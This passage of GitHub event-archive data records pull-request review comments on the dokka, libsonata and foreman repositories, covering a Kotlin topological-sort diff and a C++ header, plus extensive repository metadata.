","fork":false,"url":"https://api.github.com/repos/theforeman/foreman","forks_url":"https://api.github.com/repos/theforeman/foreman/forks","keys_url":"https://api.github.com/repos/theforeman/foreman/keys{/key_id}","collaborators_url":"https://api.github.com/repos/theforeman/foreman/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/theforeman/foreman/teams","hooks_url":"https://api.github.com/repos/theforeman/foreman/hooks","issue_events_url":"https://api.github.com/repos/theforeman/foreman/issues/events{/number}","events_url":"https://api.github.com/repos/theforeman/foreman/events","assignees_url":"https://api.github.com/repos/theforeman/foreman/assignees{/user}","branches_url":"https://api.github.com/repos/theforeman/foreman/branches{/branch}","tags_url":"https://api.github.com/repos/theforeman/foreman/tags","blobs_url":"https://api.github.com/repos/theforeman/foreman/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/theforeman/foreman/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/theforeman/foreman/git/refs{/sha}","trees_url":"https://api.github.com/repos/theforeman/foreman/git/trees{/sha}","statuses_url":"https://api.github.com/repos/theforeman/foreman/statuses/{sha}","languages_url":"https://api.github.com/repos/theforeman/foreman/languages","stargazers_url":"https://api.github.com/repos/theforeman/foreman/stargazers","contributors_url":"https://api.github.com/repos/theforeman/foreman/contributors","subscribers_url":"https://api.github.com/repos/theforeman/foreman/subscribers","subscription_url":"https://api.github.com/repos/theforeman/foreman/subscription","commits_url":"https://api.github.com/repos/theforeman/foreman/commits{/sha}","git_commits_url":"https://api.github.com/repos/theforeman/foreman/git/commits{/sha}","comments_url":"https://api.github.com/repos/theforeman/foreman/comments{/number}","issue_comment_url":"https://api.github.com/repos/theforeman/foreman/issues/comments{/number}","contents_url":"https://api.github.com/repos/theforeman/foreman/contents/{+path}","compare_url":"https://api.github.com/repos/theforeman/foreman/compare/{base}...{head}","merges_url":"https://api.github.com/repos/theforeman/foreman/merges","archive_url":"https://api.github.com/repos/theforeman/foreman/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/theforeman/foreman/downloads","issues_url":"https://api.github.com/repos/theforeman/foreman/issues{/number}","pulls_url":"https://api.github.com/repos/theforeman/foreman/pulls{/number}","milestones_url":"https://api.github.com/repos/theforeman/foreman/milestones{/number}","notifications_url":"https://api.github.com/repos/theforeman/foreman/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/theforeman/foreman/labels{/name}","releases_url":"https://api.github.com/repos/theforeman/foreman/releases{/id}","deployments_url":"https://api.github.com/repos/theforeman/foreman/deployments","created_at":"2009-07-23T15:07:00Z","updated_at":"2019-10-18T07:51:24Z","pushed_at":"2019-10-18T07:51:22Z","git_url":"git://github.com/theforeman/foreman.git","ssh_url":"git@github.com:theforeman/foreman.git","clone_url":"https://github.com/theforeman/foreman.git","svn_url":"https://github.com/theforeman/foreman","homepage":"http://theforeman.org","size":104635,"stargazers_count":1715,"watchers_count":1715,"language":"Ruby","has_issues":false,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":809,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":66,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":809,"open_issues":66,"watchers":1715,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/7109"},"html":{"href":"https://github.com/theforeman/foreman/pull/7109"},"issue":{"href":"https://api.github.com/repos/theforeman/foreman/issues/7109"},"comments":{"href":"https://api.github.com/repos/theforeman/foreman/issues/7109/comments"},"review_comments":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/7109/comments"},"review_comment":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/theforeman/foreman/pulls/7109/commits"},"statuses":{"href":"https://api.github.com/repos/theforeman/foreman/statuses/b0b4cf793db441c1648b1dcb5d79505e811927d8"}},"author_association":"MEMBER"}}
|
{
"id": 258750,
"name": "theforeman/foreman",
"url": "https://api.github.com/repos/theforeman/foreman"
}
|
{
"id": 7326770,
"login": "adamruzicka",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/7326770?",
"url": "https://api.github.com/users/adamruzicka"
}
|
{
"id": 1439844,
"login": "theforeman",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1439844?",
"url": "https://api.github.com/orgs/theforeman"
}
| 2019-10-18T08:04:32 |
10659597014
|
{"actor":{"display_login":"adamruzicka"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Kotlin/dokka/pulls/comments/363711276","pull_request_review_id":339186533,"id":363711276,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM2MzcxMTI3Ng==","diff_hunk":"@@ -68,6 +69,49 @@ private class DokkaContextConfigurationImpl(\n \n internal val extensions = mutableMapOf<ExtensionPoint<*>, MutableList<Extension<*>>>()\n \n+ private enum class State {\n+ UNVISITED,\n+ VISITING,\n+ VISITED;\n+ }\n+\n+ internal val verticesWithState = mutableMapOf<Extension<*>, State>()\n+\n+ internal val adjacencyList: MutableMap<Extension<*>, MutableList<Extension<*>>> = mutableMapOf()\n+\n+ private fun topologicalSort() {\n+\n+ val result: MutableList<Extension<*>> = mutableListOf()\n+\n+ fun visit(n: Extension<*>) {\n+\n+ val state = verticesWithState[n]\n+\n+ if(state == State.VISITED)\n+ return\n+ if(state == State.VISITING)\n+ throw Error(\"Detected cycle in plugins graph\")\n+\n+ verticesWithState[n] = State.VISITING\n+\n+ for(m in adjacencyList[n]!!)","path":"core/src/main/kotlin/plugability/DokkaContext.kt","position":46,"original_position":46,"commit_id":"ba03d70b39fe42b7111cc35429c32e9c6178a60c","original_commit_id":"ba03d70b39fe42b7111cc35429c32e9c6178a60c","user":{"login":"sellophane","id":10901154,"node_id":"MDQ6VXNlcjEwOTAxMTU0","avatar_url":"https://avatars0.githubusercontent.com/u/10901154?v=4","gravatar_id":"","url":"https://api.github.com/users/sellophane","html_url":"https://github.com/sellophane","followers_url":"https://api.github.com/users/sellophane/followers","following_url":"https://api.github.com/users/sellophane/following{/other_user}","gists_url":"https://api.github.com/users/sellophane/gists{/gist_id}","starred_url":"https://api.github.com/users/sellophane/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sellophane/subscriptions","organizations_url":"https://api.github.com/users/sellophane/orgs","repos_url":"https://api.github.com/users/sellophane/repos","events_url":"https://api.github.com/users/sellophane/events{/privacy}","received_events_url":"https://api.github.com/users/sellophane/received_events","type":"User","site_admin":false},"body":"adjacencyList[n]?.forEach { visit(it) }","created_at":"2020-01-07T11:44:05Z","updated_at":"2020-01-07T11:45:23Z","html_url":"https://github.com/Kotlin/dokka/pull/548#discussion_r363711276","pull_request_url":"https://api.github.com/repos/Kotlin/dokka/pulls/548","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/comments/363711276"},"html":{"href":"https://github.com/Kotlin/dokka/pull/548#discussion_r363711276"},"pull_request":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/548"}}},"pull_request":{"url":"https://api.github.com/repos/Kotlin/dokka/pulls/548","id":355230057,"node_id":"MDExOlB1bGxSZXF1ZXN0MzU1MjMwMDU3","html_url":"https://github.com/Kotlin/dokka/pull/548","diff_url":"https://github.com/Kotlin/dokka/pull/548.diff","patch_url":"https://github.com/Kotlin/dokka/pull/548.patch","issue_url":"https://api.github.com/repos/Kotlin/dokka/issues/548","number":548,"state":"open","locked":false,"title":"Resolved problems with plugins loading ordering and added type safe ordering function","user":{"login":"BarkingBad","id":32793002,"node_id":"MDQ6VXNlcjMyNzkzMDAy","avatar_url":"https://avatars0.githubusercontent.com/u/32793002?v=4","gravatar_id":"","url":"https://api.github.com/users/BarkingBad","html_url":"https://github.com/BarkingBad","followers_url":"https://api.github.com/users/BarkingBad/followers","following_url":"https://api.github.com/users/BarkingBad/following{/other_user}","gists_url":"https://api.github.com/users/BarkingBad/gists{/gist_id}","starred_url":"https://api.github.com/users/BarkingBad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BarkingBad/subscriptions","organizations_url":"https://api.github.com/users/BarkingBad/orgs","repos_url":"https://api.github.com/users/BarkingBad/repos","events_url":"https://api.github.com/users/BarkingBad/events{/privacy}","received_events_url":"https://api.github.com/users/BarkingBad/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-12-19T16:22:19Z","updated_at":"2020-01-07T11:45:23Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a9abb692551341ed4f6380ba23e9e7c8d3c6453e","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/Kotlin/dokka/pulls/548/commits","review_comments_url":"https://api.github.com/repos/Kotlin/dokka/pulls/548/comments","review_comment_url":"https://api.github.com/repos/Kotlin/dokka/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Kotlin/dokka/issues/548/comments","statuses_url":"https://api.github.com/repos/Kotlin/dokka/statuses/ba03d70b39fe42b7111cc35429c32e9c6178a60c","head":{"label":"BarkingBad:parsers","ref":"parsers","sha":"ba03d70b39fe42b7111cc35429c32e9c6178a60c","user":{"login":"BarkingBad","id":32793002,"node_id":"MDQ6VXNlcjMyNzkzMDAy","avatar_url":"https://avatars0.githubusercontent.com/u/32793002?v=4","gravatar_id":"","url":"https://api.github.com/users/BarkingBad","html_url":"https://github.com/BarkingBad","followers_url":"https://api.github.com/users/BarkingBad/followers","following_url":"https://api.github.com/users/BarkingBad/following{/other_user}","gists_url":"https://api.github.com/users/BarkingBad/gists{/gist_id}","starred_url":"https://api.github.com/users/BarkingBad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BarkingBad/subscriptions","organizations_url":"https://api.github.com/users/BarkingBad/orgs","repos_url":"https://api.github.com/users/BarkingBad/repos","events_url":"https://api.github.com/users/BarkingBad/events{/privacy}","received_events_url":"https://api.github.com/users/BarkingBad/received_events","type":"User","site_admin":false},"repo":{"id":221721786,"node_id":"MDEwOlJlcG9zaXRvcnkyMjE3MjE3ODY=","name":"dokka-fork","full_name":"BarkingBad/dokka-fork","private":false,"owner":{"login":"BarkingBad","id":32793002,"node_id":"MDQ6VXNlcjMyNzkzMDAy","avatar_url":"https://avatars0.githubusercontent.com/u/32793002?v=4","gravatar_id":"","url":"https://api.github.com/users/BarkingBad","html_url":"https://github.com/BarkingBad","followers_url":"https://api.github.com/users/BarkingBad/followers","following_url":"https://api.github.com/users/BarkingBad/following{/other_user}","gists_url":"https://api.github.com/users/BarkingBad/gists{/gist_id}","starred_url":"https://api.github.com/users/BarkingBad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BarkingBad/subscriptions","organizations_url":"https://api.github.com/users/BarkingBad/orgs","repos_url":"https://api.github.com/users/BarkingBad/repos","events_url":"https://api.github.com/users/BarkingBad/events{/privacy}","received_events_url":"https://api.github.com/users/BarkingBad/received_events","type":"User","site_admin":false},"html_url":"https://github.com/BarkingBad/dokka-fork","description":"Documentation Engine for Kotlin","fork":true,"url":"https://api.github.com/repos/BarkingBad/dokka-fork","forks_url":"https://api.github.com/repos/BarkingBad/dokka-fork/forks","keys_url":"https://api.github.com/repos/BarkingBad/dokka-fork/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BarkingBad/dokka-fork/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BarkingBad/dokka-fork/teams","hooks_url":"https://api.github.com/repos/BarkingBad/dokka-fork/hooks","issue_events_url":"https://api.github.com/repos/BarkingBad/dokka-fork/issues/events{/number}","events_url":"https://api.github.com/repos/BarkingBad/dokka-fork/events","assignees_url":"https://api.github.com/repos/BarkingBad/dokka-fork/assignees{/user}","branches_url":"https://api.github.com/repos/BarkingBad/dokka-fork/branches{/branch}","tags_url":"https://api.github.com/repos/BarkingBad/dokka-fork/tags","blobs_url":"https://api.github.com/repos/BarkingBad/dokka-fork/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BarkingBad/dokka-fork/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BarkingBad/dokka-fork/git/refs{/sha}","trees_url":"https://api.github.com/repos/BarkingBad/dokka-fork/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BarkingBad/dokka-fork/statuses/{sha}","languages_url":"https://api.github.com/repos/BarkingBad/dokka-fork/languages","stargazers_url":"https://api.github.com/repos/BarkingBad/dokka-fork/stargazers","contributors_url":"https://api.github.com/repos/BarkingBad/dokka-fork/contributors","subscribers_url":"https://api.github.com/repos/BarkingBad/dokka-fork/subscribers","subscription_url":"https://api.github.com/repos/BarkingBad/dokka-fork/subscription","commits_url":"https://api.github.com/repos/BarkingBad/dokka-fork/commits{/sha}","git_commits_url":"https://api.github.com/repos/BarkingBad/dokka-fork/git/commits{/sha}","comments_url":"https://api.github.com/repos/BarkingBad/dokka-fork/comments{/number}","issue_comment_url":"https://api.github.com/repos/BarkingBad/dokka-fork/issues/comments{/number}","contents_url":"https://api.github.com/repos/BarkingBad/dokka-fork/contents/{+path}","compare_url":"https://api.github.com/repos/BarkingBad/dokka-fork/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BarkingBad/dokka-fork/merges","archive_url":"https://api.github.com/repos/BarkingBad/dokka-fork/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BarkingBad/dokka-fork/downloads","issues_url":"https://api.github.com/repos/BarkingBad/dokka-fork/issues{/number}","pulls_url":"https://api.github.com/repos/BarkingBad/dokka-fork/pulls{/number}","milestones_url":"https://api.github.com/repos/BarkingBad/dokka-fork/milestones{/number}","notifications_url":"https://api.github.com/repos/BarkingBad/dokka-fork/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BarkingBad/dokka-fork/labels{/name}","releases_url":"https://api.github.com/repos/BarkingBad/dokka-fork/releases{/id}","deployments_url":"https://api.github.com/repos/BarkingBad/dokka-fork/deployments","created_at":"2019-11-14T14:52:36Z","updated_at":"2019-12-02T13:26:52Z","pushed_at":"2019-12-20T06:43:35Z","git_url":"git://github.com/BarkingBad/dokka-fork.git","ssh_url":"git@github.com:BarkingBad/dokka-fork.git","clone_url":"https://github.com/BarkingBad/dokka-fork.git","svn_url":"https://github.com/BarkingBad/dokka-fork","homepage":null,"size":446945,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"Kotlin:dev-0.11.0","ref":"dev-0.11.0","sha":"288431f21b18f5311de77c9afcb29346cb7c6498","user":{"login":"Kotlin","id":1446536,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0NDY1MzY=","avatar_url":"https://avatars3.githubusercontent.com/u/1446536?v=4","gravatar_id":"","url":"https://api.github.com/users/Kotlin","html_url":"https://github.com/Kotlin","followers_url":"https://api.github.com/users/Kotlin/followers","following_url":"https://api.github.com/users/Kotlin/following{/other_user}","gists_url":"https://api.github.com/users/Kotlin/gists{/gist_id}","starred_url":"https://api.github.com/users/Kotlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kotlin/subscriptions","organizations_url":"https://api.github.com/users/Kotlin/orgs","repos_url":"https://api.github.com/users/Kotlin/repos","events_url":"https://api.github.com/users/Kotlin/events{/privacy}","received_events_url":"https://api.github.com/users/Kotlin/received_events","type":"Organization","site_admin":false},"repo":{"id":21763603,"node_id":"MDEwOlJlcG9zaXRvcnkyMTc2MzYwMw==","name":"dokka","full_name":"Kotlin/dokka","private":false,"owner":{"login":"Kotlin","id":1446536,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0NDY1MzY=","avatar_url":"https://avatars3.githubusercontent.com/u/1446536?v=4","gravatar_id":"","url":"https://api.github.com/users/Kotlin","html_url":"https://github.com/Kotlin","followers_url":"https://api.github.com/users/Kotlin/followers","following_url":"https://api.github.com/users/Kotlin/following{/other_user}","gists_url":"https://api.github.com/users/Kotlin/gists{/gist_id}","starred_url":"https://api.github.com/users/Kotlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kotlin/subscriptions","organizations_url":"https://api.github.com/users/Kotlin/orgs","repos_url":"https://api.github.com/users/Kotlin/repos","events_url":"https://api.github.com/users/Kotlin/events{/privacy}","received_events_url":"https://api.github.com/users/Kotlin/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Kotlin/dokka","description":"Documentation Engine for Kotlin","fork":false,"url":"https://api.github.com/repos/Kotlin/dokka","forks_url":"https://api.github.com/repos/Kotlin/dokka/forks","keys_url":"https://api.github.com/repos/Kotlin/dokka/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Kotlin/dokka/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Kotlin/dokka/teams","hooks_url":"https://api.github.com/repos/Kotlin/dokka/hooks","issue_events_url":"https://api.github.com/repos/Kotlin/dokka/issues/events{/number}","events_url":"https://api.github.com/repos/Kotlin/dokka/events","assignees_url":"https://api.github.com/repos/Kotlin/dokka/assignees{/user}","branches_url":"https://api.github.com/repos/Kotlin/dokka/branches{/branch}","tags_url":"https://api.github.com/repos/Kotlin/dokka/tags","blobs_url":"https://api.github.com/repos/Kotlin/dokka/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Kotlin/dokka/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Kotlin/dokka/git/refs{/sha}","trees_url":"https://api.github.com/repos/Kotlin/dokka/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Kotlin/dokka/statuses/{sha}","languages_url":"https://api.github.com/repos/Kotlin/dokka/languages","stargazers_url":"https://api.github.com/repos/Kotlin/dokka/stargazers","contributors_url":"https://api.github.com/repos/Kotlin/dokka/contributors","subscribers_url":"https://api.github.com/repos/Kotlin/dokka/subscribers","subscription_url":"https://api.github.com/repos/Kotlin/dokka/subscription","commits_url":"https://api.github.com/repos/Kotlin/dokka/commits{/sha}","git_commits_url":"https://api.github.com/repos/Kotlin/dokka/git/commits{/sha}","comments_url":"https://api.github.com/repos/Kotlin/dokka/comments{/number}","issue_comment_url":"https://api.github.com/repos/Kotlin/dokka/issues/comments{/number}","contents_url":"https://api.github.com/repos/Kotlin/dokka/contents/{+path}","compare_url":"https://api.github.com/repos/Kotlin/dokka/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Kotlin/dokka/merges","archive_url":"https://api.github.com/repos/Kotlin/dokka/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Kotlin/dokka/downloads","issues_url":"https://api.github.com/repos/Kotlin/dokka/issues{/number}","pulls_url":"https://api.github.com/repos/Kotlin/dokka/pulls{/number}","milestones_url":"https://api.github.com/repos/Kotlin/dokka/milestones{/number}","notifications_url":"https://api.github.com/repos/Kotlin/dokka/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Kotlin/dokka/labels{/name}","releases_url":"https://api.github.com/repos/Kotlin/dokka/releases{/id}","deployments_url":"https://api.github.com/repos/Kotlin/dokka/deployments","created_at":"2014-07-12T09:15:22Z","updated_at":"2020-01-07T02:05:03Z","pushed_at":"2020-01-07T11:18:22Z","git_url":"git://github.com/Kotlin/dokka.git","ssh_url":"git@github.com:Kotlin/dokka.git","clone_url":"https://github.com/Kotlin/dokka.git","svn_url":"https://github.com/Kotlin/dokka","homepage":null,"size":446969,"stargazers_count":1355,"watchers_count":1355,"language":"Kotlin","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":143,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":189,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":143,"open_issues":189,"watchers":1355,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/548"},"html":{"href":"https://github.com/Kotlin/dokka/pull/548"},"issue":{"href":"https://api.github.com/repos/Kotlin/dokka/issues/548"},"comments":{"href":"https://api.github.com/repos/Kotlin/dokka/issues/548/comments"},"review_comments":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/548/comments"},"review_comment":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Kotlin/dokka/pulls/548/commits"},"statuses":{"href":"https://api.github.com/repos/Kotlin/dokka/statuses/ba03d70b39fe42b7111cc35429c32e9c6178a60c"}},"author_association":"NONE"}}
|
{
"id": 21763603,
"name": "Kotlin/dokka",
"url": "https://api.github.com/repos/Kotlin/dokka"
}
|
{
"id": 10901154,
"login": "sellophane",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/10901154?",
"url": "https://api.github.com/users/sellophane"
}
|
{
"id": 1446536,
"login": "Kotlin",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1446536?",
"url": "https://api.github.com/orgs/Kotlin"
}
| 2020-01-07T11:44:05 |
11218539230
|
{"actor":{"display_login":"sellophane"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/comments/306246888","pull_request_review_id":265298658,"id":306246888,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwNjI0Njg4OA==","diff_hunk":"@@ -0,0 +1,36 @@\n+#include <vector>\n+#include <fstream>\n+#include <mpi.h>\n+#include \"hdf5.h\"","path":"src/reports/library/hdf5_writer.hpp","position":4,"original_position":4,"commit_id":"2678e905d87dbf10c86e1e9e04f4bfd92642625f","original_commit_id":"2678e905d87dbf10c86e1e9e04f4bfd92642625f","user":{"login":"mgeplf","id":13150119,"node_id":"MDQ6VXNlcjEzMTUwMTE5","avatar_url":"https://avatars3.githubusercontent.com/u/13150119?v=4","gravatar_id":"","url":"https://api.github.com/users/mgeplf","html_url":"https://github.com/mgeplf","followers_url":"https://api.github.com/users/mgeplf/followers","following_url":"https://api.github.com/users/mgeplf/following{/other_user}","gists_url":"https://api.github.com/users/mgeplf/gists{/gist_id}","starred_url":"https://api.github.com/users/mgeplf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mgeplf/subscriptions","organizations_url":"https://api.github.com/users/mgeplf/orgs","repos_url":"https://api.github.com/users/mgeplf/repos","events_url":"https://api.github.com/users/mgeplf/events{/privacy}","received_events_url":"https://api.github.com/users/mgeplf/received_events","type":"User","site_admin":false},"body":"Is this file supposed to be in the commit?","created_at":"2019-07-23T10:34:23Z","updated_at":"2019-07-23T10:35:57Z","html_url":"https://github.com/BlueBrain/libsonata/pull/43#discussion_r306246888","pull_request_url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/comments/306246888"},"html":{"href":"https://github.com/BlueBrain/libsonata/pull/43#discussion_r306246888"},"pull_request":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43"}}},"pull_request":{"url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43","id":300194824,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAwMTk0ODI0","html_url":"https://github.com/BlueBrain/libsonata/pull/43","diff_url":"https://github.com/BlueBrain/libsonata/pull/43.diff","patch_url":"https://github.com/BlueBrain/libsonata/pull/43.patch","issue_url":"https://api.github.com/repos/BlueBrain/libsonata/issues/43","number":43,"state":"open","locked":false,"title":"Add reports","user":{"login":"jorblancoa","id":41900536,"node_id":"MDQ6VXNlcjQxOTAwNTM2","avatar_url":"https://avatars0.githubusercontent.com/u/41900536?v=4","gravatar_id":"","url":"https://api.github.com/users/jorblancoa","html_url":"https://github.com/jorblancoa","followers_url":"https://api.github.com/users/jorblancoa/followers","following_url":"https://api.github.com/users/jorblancoa/following{/other_user}","gists_url":"https://api.github.com/users/jorblancoa/gists{/gist_id}","starred_url":"https://api.github.com/users/jorblancoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jorblancoa/subscriptions","organizations_url":"https://api.github.com/users/jorblancoa/orgs","repos_url":"https://api.github.com/users/jorblancoa/repos","events_url":"https://api.github.com/users/jorblancoa/events{/privacy}","received_events_url":"https://api.github.com/users/jorblancoa/received_events","type":"User","site_admin":false},"body":"- reportinglib integration\r\n- Added support for serial/parallel implementation","created_at":"2019-07-23T09:01:20Z","updated_at":"2019-07-23T10:35:56Z","closed_at":null,"merged_at":null,"merge_commit_sha":"7436571a69b6e39920c4ad064b2d5fbc7c275d10","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43/commits","review_comments_url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43/comments","review_comment_url":"https://api.github.com/repos/BlueBrain/libsonata/pulls/comments{/number}","comments_url":"https://api.github.com/repos/BlueBrain/libsonata/issues/43/comments","statuses_url":"https://api.github.com/repos/BlueBrain/libsonata/statuses/2678e905d87dbf10c86e1e9e04f4bfd92642625f","head":{"label":"jorblancoa:reports","ref":"reports","sha":"2678e905d87dbf10c86e1e9e04f4bfd92642625f","user":{"login":"jorblancoa","id":41900536,"node_id":"MDQ6VXNlcjQxOTAwNTM2","avatar_url":"https://avatars0.githubusercontent.com/u/41900536?v=4","gravatar_id":"","url":"https://api.github.com/users/jorblancoa","html_url":"https://github.com/jorblancoa","followers_url":"https://api.github.com/users/jorblancoa/followers","following_url":"https://api.github.com/users/jorblancoa/following{/other_user}","gists_url":"https://api.github.com/users/jorblancoa/gists{/gist_id}","starred_url":"https://api.github.com/users/jorblancoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jorblancoa/subscriptions","organizations_url":"https://api.github.com/users/jorblancoa/orgs","repos_url":"https://api.github.com/users/jorblancoa/repos","events_url":"https://api.github.com/users/jorblancoa/events{/privacy}","received_events_url":"https://api.github.com/users/jorblancoa/received_events","type":"User","site_admin":false},"repo":{"id":197208329,"node_id":"MDEwOlJlcG9zaXRvcnkxOTcyMDgzMjk=","name":"libsonata","full_name":"jorblancoa/libsonata","private":false,"owner":{"login":"jorblancoa","id":41900536,"node_id":"MDQ6VXNlcjQxOTAwNTM2","avatar_url":"https://avatars0.githubusercontent.com/u/41900536?v=4","gravatar_id":"","url":"https://api.github.com/users/jorblancoa","html_url":"https://github.com/jorblancoa","followers_url":"https://api.github.com/users/jorblancoa/followers","following_url":"https://api.github.com/users/jorblancoa/following{/other_user}","gists_url":"https://api.github.com/users/jorblancoa/gists{/gist_id}","starred_url":"https://api.github.com/users/jorblancoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jorblancoa/subscriptions","organizations_url":"https://api.github.com/users/jorblancoa/orgs","repos_url":"https://api.github.com/users/jorblancoa/repos","events_url":"https://api.github.com/users/jorblancoa/events{/privacy}","received_events_url":"https://api.github.com/users/jorblancoa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jorblancoa/libsonata","description":"A python and C++ interface to the SONATA format","fork":true,"url":"https://api.github.com/repos/jorblancoa/libsonata","forks_url":"https://api.github.com/repos/jorblancoa/libsonata/forks","keys_url":"https://api.github.com/repos/jorblancoa/libsonata/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jorblancoa/libsonata/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jorblancoa/libsonata/teams","hooks_url":"https://api.github.com/repos/jorblancoa/libsonata/hooks","issue_events_url":"https://api.github.com/repos/jorblancoa/libsonata/issues/events{/number}","events_url":"https://api.github.com/repos/jorblancoa/libsonata/events","assignees_url":"https://api.github.com/repos/jorblancoa/libsonata/assignees{/user}","branches_url":"https://api.github.com/repos/jorblancoa/libsonata/branches{/branch}","tags_url":"https://api.github.com/repos/jorblancoa/libsonata/tags","blobs_url":"https://api.github.com/repos/jorblancoa/libsonata/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jorblancoa/libsonata/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jorblancoa/libsonata/git/refs{/sha}","trees_url":"https://api.github.com/repos/jorblancoa/libsonata/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jorblancoa/libsonata/statuses/{sha}","languages_url":"https://api.github.com/repos/jorblancoa/libsonata/languages","stargazers_url":"https://api.github.com/repos/jorblancoa/libsonata/stargazers","contributors_url":"https://api.github.com/repos/jorblancoa/libsonata/contributors","subscribers_url":"https://api.github.com/repos/jorblancoa/libsonata/subscribers","subscription_url":"https://api.github.com/repos/jorblancoa/libsonata/subscription","commits_url":"https://api.github.com/repos/jorblancoa/libsonata/commits{/sha}","git_commits_url":"https://api.github.com/repos/jorblancoa/libsonata/git/commits{/sha}","comments_url":"https://api.github.com/repos/jorblancoa/libsonata/comments{/number}","issue_comment_url":"https://api.github.com/repos/jorblancoa/libsonata/issues/comments{/number}","contents_url":"https://api.github.com/repos/jorblancoa/libsonata/contents/{+path}","compare_url":"https://api.github.com/repos/jorblancoa/libsonata/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jorblancoa/libsonata/merges","archive_url":"https://api.github.com/repos/jorblancoa/libsonata/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jorblancoa/libsonata/downloads","issues_url":"https://api.github.com/repos/jorblancoa/libsonata/issues{/number}","pulls_url":"https://api.github.com/repos/jorblancoa/libsona